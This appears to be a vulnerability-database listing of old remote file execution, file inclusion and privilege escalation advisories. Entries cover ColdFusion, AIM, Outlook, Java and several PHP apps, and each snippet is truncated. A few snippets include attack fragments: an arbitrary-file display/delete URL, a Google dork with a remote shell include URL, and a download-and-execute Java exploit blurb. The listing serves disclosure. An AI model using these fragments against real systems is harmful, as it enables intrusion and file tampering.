Allaire ColdFusion Server <= 4.0 - Remote File Display, Deletion, Upload and Execution Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/115/info To display and delete any file on the system use an URL of the following form: http://www.victim.test/cfdocs/expeval/ExprCalc.cfm?OpenFilePath=C:\the\target\file To upload files to the sever first find out the...

AOL Instant Messenger 4.8.2790 Local File Execution Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/6027/info AOL Instant Messenger AIM is prone to an issue which may allow attackers to execute arbitrary files on the client system. It is possible to send a malicious link which references local files to a user of the...

Office Viewer ActiveX Control 3.0.1 - Remote File Execution Exploit

No description provided by source. =======================================================================================br Author: Houssamix br =======================================================================================br Office Viewer ActiveX Control v 3.0.1 Remote File execution...

Outlook ATTACH_BY_REF_RESOLVE File Execution

No description provided by source. $Id: ms10045outlookrefresolve.rb 10389 2010-09-20 04:38:13Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and...

Microsoft Windows XP/2000 showHelp CHM File Execution Weakness

No description provided by source. source: http://www.securityfocus.com/bid/9320/info Microsoft Windows is prone to a security flaw in the implementation of the showHelp function. Microsoft previously released patches that provide security measures to prevent abuse of the showHelp method to...

FVWM 2.4.17/2.5.8 fvwm_make_browse_menu.sh Scripts Command Execution Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/9922/info It has been reported that the FVWM fvwmmakebrowsemenu.sh script is prone to a command execution vulnerability. This issue is due to the script allowing a user to define which application should be used to execut...

PowerClan <= 1.14a (footer.inc.php) Remote File Include Vulnerability

No description provided by source. +------------------------------------------------------------------------------------------- + PowerClan = 1.14a footer.inc.php Remote File Include Vulnerability +------------------------------------------------------------------------------------------- + Vendo...

Linux Kernel Samba 2.2.8 Share Local Privilege Elevation Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/9619/info A local privilege escalation vulnerability has been reported to affect the 2.6 Linux kernel. The issue appears to exist due to a lack of sufficient sanity checks performed when executing a file that is hosted on...

Outlook ATTACH_BY_REF_ONLY File Execution

No description provided by source. $Id: ms10045outlookrefonly.rb 10389 2010-09-20 04:38:13Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and...

phpAutoMembersArea <= 3.2.5 (installed_config_file) Remote Inclusion

No description provided by source. +-------------------------------------------------------------------- + + phpAutoMembersArea 3.2.5 $installedconfigfile Remote File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: phpAutoMembersArea 3.2....

CdomainFree <= 2.4 - Remote File Execution Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/304/info A vulnerability in a CGI program part of CdomainFree allows remote malicious users to run any executable already existing to the machine. The vulnerability is in the whoisraw.cgi program. This CGI passes user inp...

Foing 0.x Remote File Include Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/18392/info Foing is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remo...

Sonium Enterprise Adressbook <= 0.2 (folder) Include Vulnerability

No description provided by source. +-------------------------------------------------------------------- + + Sonium Enterprise Adressbook Version 0.2 folder RFI + + Original advisory: + http://www.bb-pcsecurity.de/Websecurity/342/org/SoniumEnterpriseAdressbookVersion0.2folderRFI.htm +...

TSEP <= 0.942 (copyright.php) Remote Inclusion Vulnerability

No description provided by source. +-------------------------------------------------------------------- + + TSEP 0.9.4.2 + +-------------------------------------------------------------------- + + Affected Software .: TSEP 0.9.4.2 + Venedor ...........: http://www.tsep.info/ + Class ...............

Azucar CMS <= 1.3 (admin/index_sitios.php) File Inclusion Vulnerability

No description provided by source. +------------------------------------------------------------------------------------------- + Azucar CMS = 1.3 VIEW Remote File Include Vulnerability +------------------------------------------------------------------------------------------- + Affected Softwar...

PayProCart <= 1146078425 Multiple Remote File Include Vulnerabilities

No description provided by source. google dork :powered by: profitCode exploite: http://url/index.php?proMod=http://shell.txt? discoverde by momo26 ;!!!!!!!!!!!!!!! +-------------------------------------------------------------------- + + ppalCart V2.5 EE Remote File Inclusion +...

CVE-2014-2720

IZArc 4.1.8 is vulnerable due to a mismatch between ZIP Central Directory data (file name) and the Local File Header used to launch the file. This allows user‑assisted remote attackers to perform file‑extension spoofing that can lead to unintended code execution, demonstrated when a .jpg in the C...

Executable File With Non-Executable File Extension Arbitrary File Execution

Certain malicious executable files can be hidden using arbitrary filename extensions. A remote attacker could exploit this vulnerability to entice unsuspecting users to execute arbitrary files...

Internet Explorer Mouse Drag Hijack Arbitrary File Execution - Ver2 (CVE-2004-0841)

An arbitrary file execution vulnerability has been reported in Internet Explorer. Successful exploitation of this vulnerability could allow a remote attacker to execute and install arbitrary programs on the affected system...

Java 7 Update 11 vulnerability to download and execute

Java 7 Update 11 vulnerability to download and execute. With this applet you can boot from a remote host and execute the file, bypassing pisochnitsy java, also affected and older. Usage Info All material is provided with source code, and you will be able to easily assemble ready exploit replacing...